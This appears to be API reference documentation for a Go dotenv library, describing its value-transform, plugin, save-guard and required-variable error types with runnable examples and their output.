func WithValueTransform(fn func(key, value string) (string, error)) Option

WithValueTransform rewrites values after they are read.

Sugar for WithPlugin over a ValueTransformer:

dotenv.Parse(src, dotenv.WithValueTransform(func(key, v string) (string, error) {
    s, ok := strings.CutPrefix(v, "encrypted:")
    if !ok { return v, nil }
    return decrypt(s)
}))
Example

ExampleWithValueTransform decodes values on read only: GetExpanded returns the plain text, Get and Render keep the stored ciphertext, and a bad value is an error rather than leaked ciphertext.

package main

import (
	"encoding/base64"
	"fmt"
	"strings"

	"github.com/ubgo/dotenv"
)

func main() {
	// A transformer decodes values after they are read. Base64 stands in for a
	// real cipher; the shape is the same for age, KMS or sops.
	const prefix = "encrypted:" // marks a value the transformer owns

	decrypt := func(key, value string) (string, error) {
		payload, ok := strings.CutPrefix(value, prefix)
		if !ok {
			return value, nil // not ours: pass it through untouched
		}
		plain, err := base64.StdEncoding.DecodeString(payload)
		if err != nil {
			return "", err
		}
		return string(plain), nil
	}

	src := "PLAIN=hello\n" +
		"SECRET='encrypted:aHVudGVyMg=='\n" +
		"BROKEN=encrypted:%%%\n"
	f := dotenv.Parse(src, dotenv.WithValueTransform(decrypt))

	plain, _, err := f.GetExpanded("SECRET")
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	raw, _ := f.Get("SECRET")
	fmt.Println("GetExpanded:", plain)
	fmt.Println("Get:        ", raw)

	// A value that fails to decode is an error, never the ciphertext.
	_, _, err = f.GetExpanded("BROKEN")
	fmt.Println("BROKEN:", err)

	// The written bytes keep the ciphertext.
	fmt.Print(f.Render())
}
Output:
GetExpanded: hunter2
Get:         encrypted:aHVudGVyMg==
BROKEN: dotenv: plugin "value-transform": transform BROKEN: illegal base64 data at input byte 0
PLAIN=hello
SECRET='encrypted:aHVudGVyMg=='
BROKEN=encrypted:%%%

type Pair

type Pair struct {
	Key   string
	Value string
}

Pair is a key/value snapshot.

type Plugin

type Plugin interface {
	Name() string
}

Plugin is anything that can be installed with WithPlugin.

A plugin declares its abilities by implementing the capability interfaces below — Lookuper, CommandRunner, and the rest — and implements only the ones it needs. One plugin may hold several: a secret store naturally wants Lookuper for undefined references and, later, a value transformer for its own URI scheme, sharing one client and one cache between them.

Name is required rather than derived so a failure can say which plugin caused it: "dotenv: plugin \"vault\": lookup DB_PASSWORD: connection refused".

type PluginInfo

type PluginInfo struct {
	Name         string
	Capabilities []Capability
}

PluginInfo is one installed plugin and the capabilities it was recognised as having.

Example

ExamplePluginInfo prints the one-line form of PluginInfo and the fixed names the function options install their plugins under.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	// PluginInfo is plain data: a name and the detected capabilities. String
	// renders the one-line form a doctor command prints.
	infos := []dotenv.PluginInfo{
		{Name: "vault", Capabilities: []dotenv.Capability{dotenv.CapLookup, dotenv.CapValueTransformer}},
		{Name: "tracer"},
	}
	for _, p := range infos {
		fmt.Println(p.String())
	}

	// The function options install plugins with fixed names.
	f := dotenv.Parse("A=1\n",
		dotenv.WithLookup(func(string) (string, bool) { return "", false }),
		dotenv.WithValueTransform(func(_, v string) (string, error) { return v, nil }),
		dotenv.WithSaveGuard(func(*dotenv.File) error { return nil }),
		dotenv.WithCommandRunner(func(string) (string, error) { return "", nil }),
	)
	for _, p := range f.Plugins() {
		fmt.Println(p)
	}
}
Output:
vault: Lookuper, ValueTransformer
tracer: (none)
lookup: Lookuper
value-transform: ValueTransformer
save-guard: SaveGuard
command-runner: CommandRunner

func (PluginInfo) String

func (p PluginInfo) String() string

String renders as "vault: Lookuper, CommandRunner", or "tracer: (none)".

type RequiredError

type RequiredError struct {
	// Key is the referenced variable that was unset or empty.
	Key string
	// Message is the text after the operator. Empty when the author wrote none.
	Message string
	// Empty distinguishes ":?" (unset OR empty) from "?" (unset only).
	Empty bool
}

RequiredError reports a ${VAR:?message} or ${VAR?message} reference whose variable was not satisfied.

These forms exist precisely to fail loudly: silently yielding "" would defeat the only reason an author writes one.

Example

ExampleRequiredError shows how to catch a required-variable failure with errors.As and read which variable is missing. Empty is true for the ":?" form (unset or empty) and false for "?" (unset only).

package main

import (
	"errors"
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	src := "DB_PASSWORD=\n" +
		"URL=postgres://app:${DB_PASSWORD:?set it in .env}@db\n" +
		"TOKEN=${API_TOKEN?}\n"

	f := dotenv.Parse(src)
	for _, key := range []string{"URL", "TOKEN"} {
		_, _, err := f.GetExpanded(key)

		var re *dotenv.RequiredError
		if errors.As(err, &re) {
			fmt.Printf("key=%s empty=%v message=%q\n", re.Key, re.Empty, re.Message)
			fmt.Println(" ", err)
		}
	}
}
Output:
key=DB_PASSWORD empty=true message="set it in .env"
  dotenv: required variable DB_PASSWORD is not set or is empty: set it in .env
key=API_TOKEN empty=false message=""
  dotenv: required variable API_TOKEN is not set

func (*RequiredError) Error

func (e *RequiredError) Error() string

type SaveGuard

type SaveGuard interface {
	GuardSave(f *File) error
}

SaveGuard inspects a file before it is written and may refuse.

It may VETO ONLY. Rewriting content on the way to disk would breach the rule the package rests on — a hook may change what a value reads as, never what gets written — and would invalidate the round-trip guarantee everything else depends on. Encrypt-on-write is a real want and is deliberately not this.

Every guard runs and the first error aborts the write, leaving the destination untouched.

The *File a guard receives is a copy made for that call (a Clone), not the file being saved. Calling Set on it, or editing its entries, changes only the copy: the bytes written and the caller's file stay as they were, so the veto-only rule holds by construction rather than by trust.

type ValueTransformer

type ValueTransformer interface {
	TransformValue(key, value string) (string, error)
}

ValueTransformer rewrites a value after it has been read.

Runs AFTER expansion, and its output is NOT expanded again: a decrypted secret containing ${...} stays literal, which is what a secret full of dollar signs wants. Transformers are CHAINED — each sees the previous one's output — so a value can be dereferenced by one plugin and decoded by another.

It applies to literal values too, single-quoted and backtick alike. Quoting controls interpolation, not transformation: an "encrypted:" value is very often single-quoted precisely to keep the parser out of it, and a transformer that skipped those would be useless.

An error aborts the read rather than yielding the untransformed value, because a caller must never silently receive ciphertext where it expected a secret.

Directories

Path Synopsis
cli module

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL